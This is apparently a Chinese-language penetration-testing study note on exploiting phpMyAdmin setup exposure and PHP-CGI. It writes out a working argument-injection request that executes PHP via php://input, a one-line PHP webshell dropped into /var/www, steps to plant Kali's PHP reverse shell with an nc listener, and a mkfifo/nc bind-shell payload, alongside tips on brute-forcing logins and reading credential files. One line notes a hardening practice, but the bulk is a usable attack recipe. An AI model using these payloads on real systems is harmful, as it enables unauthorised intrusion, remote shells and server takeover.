手動漏洞挖掘
即掃描後,如何對發現的漏洞告警進行驗證。
#默認安裝
流傳linux操作系統比windows系統安全的說法,是因爲windows系統默認安裝後,會開放很多服務和無用的端口,而且未經過嚴格安全性的配置,經常有系統服務以最高權限運行。
漏洞類型--遠程命令執行
1、phpMyadmin
安裝在web服務器中的web接口,專門用來管理MySQL數據庫。對於早期版本,安裝後若是沒有做安全配置,對敏感路徑進行刪除,則有可能留下安全隱患,其中最明顯的爲setup。
a.探索PHP網站(可根據banner等信息判斷)的phpmyadmin目錄是否可以訪問(掃描工具/手動爬網)
###有賬號密碼限制,可嘗試爆破###
b.嘗試../phpMyAdmin/setup目錄是否可以訪問【可以不需要身份認證的情況下,對服務器進行配置】
###安全最佳實踐角度:不允許從公網訪問phpMyAdmin目錄或禁用訪問setup目錄
c.早期的phpmyadmin有漏洞【可通過在URL地址編輯或者定製發送的指令,使其執行一個PHP頁面】
例如:
POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d
+auto_prepend_file%3dphp://input HTTP/1.1 #修改服務器中的php.ini文件
Host: 192.168.20.10
<?php
passthru('id');
die(); #後面的指令不執行,可屏蔽服務器返回的html代碼等雜信息
?>#編輯一條配置指令來修改php.ini文件,可編寫任何功能的PHP頁面【可調用系統功能,passthru()】
#可能運行web服務器進程的用戶賬號會被限制爲www-data之類的普通用戶賬號,則需經過提權,才能完全控制服務器
Burpsuite重放
#已獲得www-data用戶權限,可進行ls、cat等操作【pwd:查看當前路徑;cat etc/password:查看用戶賬號】
#搜索PHP文件中是否用硬編碼的賬號密碼
#嘗試寫入網頁木馬,控制服務器
注:此漏洞有可能不被掃描器掃出來,可自己手工驗證
d.網頁木馬
kali軍火庫中可以找到現成的網頁木馬
靜態木馬webshell,通過瀏覽器去訪問
例如:echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/3.php【最簡單的木馬】
“\”防止在上傳過程中,變量被過濾
在瀏覽器中執行命令【注:無法直接訪問3.php目錄,需加問號再執行】
反彈shell【提交一個請求(包含一個反彈shell)】
#賬號一般還是會是普通用戶【kali中有各種類型的shell】
#修改shell中反彈連接的IProot@kali:/usr/share/webshells# ls asp aspx cfm jsp perl php root@kali:/usr/share/webshells# cd php root@kali:/usr/share/webshells/php# ls findsock.c php-findsock-shell.php qsd-php-backdoor.php php-backdoor.php php-reverse-shell.php simple-backdoor.php root@kali:/usr/share/webshells/php# cp php-reverse-shell.php /root/3.php root@kali:/usr/share/webshells/php#
#使用nc偵聽反彈端口1234【nc終端無法使用tab鍵】
#將shell代碼複製粘貼進POST,go發送【此方法相對隱蔽,不易發現】
############################################################################
當一些命令如ifconfig無法使用時
#################################################################################
2、CGI模塊【Ubuntu / Debian 默認安裝PHP5-CGI】
#可直接訪問/cgi-bin/php5和/cgi-bin/php(這兩個目錄大部分無法爬取)#因爲其不在/var/www目錄下
#定製編碼shellcode
#使服務器打開一個端口,然後再使用nc去連接獲得shell
<?php
echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
?>
#若有防火牆,需確定防火牆允許通過